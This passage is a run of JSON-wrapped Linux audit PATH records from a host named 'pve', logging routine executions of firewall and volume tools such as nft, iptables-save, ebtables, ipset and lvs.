cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855513,"@rawstring":"node=pve type=PATH msg=audit(1781964855.513:62909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855513,"@rawstring":"node=pve type=PATH msg=audit(1781964855.513:62909): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855506,"@rawstring":"node=pve type=PATH msg=audit(1781964855.506:62908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855506,"@rawstring":"node=pve type=PATH msg=audit(1781964855.506:62908): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855499,"@rawstring":"node=pve type=PATH msg=audit(1781964855.499:62907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855499,"@rawstring":"node=pve type=PATH msg=audit(1781964855.499:62907): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964854523,"@rawstring":"node=pve type=PATH msg=audit(1781964854.523:62906): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964854523,"@rawstring":"node=pve type=PATH msg=audit(1781964854.523:62906): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964854494,"@rawstring":"node=pve type=PATH msg=audit(1781964854.494:62905): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964854494,"@rawstring":"node=pve type=PATH msg=audit(1781964854.494:62905): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PATH msg=audit(1781964850.883:62904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PATH msg=audit(1781964850.883:62904): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PATH msg=audit(1781964850.883:62903): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PATH msg=audit(1781964850.883:62902): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PATH msg=audit(1781964850.875:62901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PATH msg=audit(1781964850.875:62901): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PATH msg=audit(1781964850.875:62900): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PATH msg=audit(1781964850.875:62899): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PATH msg=audit(1781964845.867:62898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PATH msg=audit(1781964845.867:62898): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PATH msg=audit(1781964845.867:62897): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PATH msg=audit(1781964845.867:62896): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PATH msg=audit(1781964845.856:62895): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PATH msg=audit(1781964845.856:62895): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PATH msg=audit(1781964845.856:62894): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PATH msg=audit(1781964845.856:62893): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845485,"@rawstring":"node=pve type=PATH msg=audit(1781964845.485:62892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845485,"@rawstring":"node=pve type=PATH msg=audit(1781964845.485:62892): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845482,"@rawstring":"node=pve type=PATH msg=audit(1781964845.482:62891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845482,"@rawstring":"node=pve type=PATH msg=audit(1781964845.482:62891): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845481,"@rawstring":"node=pve type=PATH msg=audit(1781964845.481:62890): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845481,"@rawstring":"node=pve type=PATH msg=audit(1781964845.481:62890): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845481,"@rawstring":"node=pve type=PATH msg=audit(1781964845.481:62889): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845478,"@rawstring":"node=pve type=PATH msg=audit(1781964845.478:62888): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845478,"@rawstring":"node=pve type=PATH msg=audit(1781964845.478:62888): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845478,"@rawstring":"node=pve type=PATH msg=audit(1781964845.478:62888): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845471,"@rawstring":"node=pve type=PATH msg=audit(1781964845.471:62887): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845471,"@rawstring":"node=pve type=PATH msg=audit(1781964845.471:62887): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845465,"@rawstring":"node=pve type=PATH msg=audit(1781964845.465:62886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845465,"@rawstring":"node=pve type=PATH msg=audit(1781964845.465:62886): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845458,"@rawstring":"node=pve type=PATH msg=audit(1781964845.458:62885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845458,"@rawstring":"node=pve type=PATH msg=audit(1781964845.458:62885): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845452,"@rawstring":"node=pve type=PATH msg=audit(1781964845.452:62884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845452,"@rawstring":"node=pve type=PATH msg=audit(1781964845.452:62884): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845447,"@rawstring":"node=pve type=PATH msg=audit(1781964845.447:62882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845447,"@rawstring":"node=pve type=PATH msg=audit(1781964845.447:62882): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845443,"@rawstring":"node=pve type=PATH msg=audit(1781964845.443:62881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845443,"@rawstring":"node=pve type=PATH msg=audit(1781964845.443:62881): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845438,"@rawstring":"node=pve type=PATH msg=audit(1781964845.438:62880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845438,"@rawstring":"node=pve type=PATH msg=audit(1781964845.438:62880): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845432,"@rawstring":"node=pve type=PATH msg=audit(1781964845.432:62879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845432,"@rawstring":"node=pve type=PATH msg=audit(1781964845.432:62879): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845426,"@rawstring":"node=pve type=PATH msg=audit(1781964845.426:62878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845426,"@rawstring":"node=pve type=PATH msg=audit(1781964845.426:62878): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845421,"@rawstring":"node=pve type=PATH msg=audit(1781964845.421:62877): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845421,"@rawstring":"node=pve type=PATH msg=audit(1781964845.421:62877): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845415,"@rawstring":"node=pve type=PATH msg=audit(1781964845.415:62876): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845415,"@rawstring":"node=pve type=PATH msg=audit(1781964845.415:62876): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845409,"@rawstring":"node=pve type=PATH msg=audit(1781964845.409:62875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845409,"@rawstring":"node=pve type=PATH msg=audit(1781964845.409:62875): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845405,"@rawstring":"node=pve type=PATH msg=audit(1781964845.405:62874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845405,"@rawstring":"node=pve type=PATH msg=audit(1781964845.405:62874): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PATH msg=audit(1781964845.402:62873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PATH msg=audit(1781964845.402:62873): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PATH msg=audit(1781964845.402:62872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PATH msg=audit(1781964845.402:62872): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PATH msg=audit(1781964845.402:62871): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845398,"@rawstring":"node=pve type=PATH msg=audit(1781964845.398:62870): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845398,"@rawstring":"node=pve type=PATH msg=audit(1781964845.398:62870): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845398,"@rawstring":"node=pve type=PATH msg=audit(1781964845.398:62870): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845392,"@rawstring":"node=pve type=PATH msg=audit(1781964845.392:62869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845392,"@rawstring":"node=pve type=PATH msg=audit(1781964845.392:62869): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845386,"@rawstring":"node=pve type=PATH msg=audit(1781964845.386:62868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845386,"@rawstring":"node=pve type=PATH msg=audit(1781964845.386:62868): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845382,"@rawstring":"node=pve type=PATH msg=audit(1781964845.382:62867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845382,"@rawstring":"node=pve type=PATH msg=audit(1781964845.382:62867): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845376,"@rawstring":"node=pve type=PATH msg=audit(1781964845.376:62866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845376,"@rawstring":"node=pve type=PATH msg=audit(1781964845.376:62866): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845370,"@rawstring":"node=pve type=PATH msg=audit(1781964845.370:62865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845370,"@rawstring":"node=pve type=PATH msg=audit(1781964845.370:62865): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964844412,"@rawstring":"node=pve type=PATH msg=audit(1781964844.412:62864): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964844412,"@rawstring":"node=pve type=PATH msg=audit(1781964844.412:62864): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964844387,"@rawstring":"node=pve type=PATH msg=audit(1781964844.387:62863): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964844387,"@rawstring":"node=pve type=PATH msg=audit(1781964844.387:62863): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PATH msg=audit(1781964840.848:62862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PATH msg=audit(1781964840.848:62862): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PATH msg=audit(1781964840.848:62861): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PATH msg=audit(1781964840.848:62860): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PATH msg=audit(1781964840.841:62859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PATH msg=audit(1781964840.841:62859): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PATH msg=audit(1781964840.841:62858): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PATH msg=audit(1781964840.841:62857): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PATH msg=audit(1781964835.834:62856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PATH msg=audit(1781964835.834:62856): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PATH msg=audit(1781964835.834:62855): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PATH msg=audit(1781964835.834:62854): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 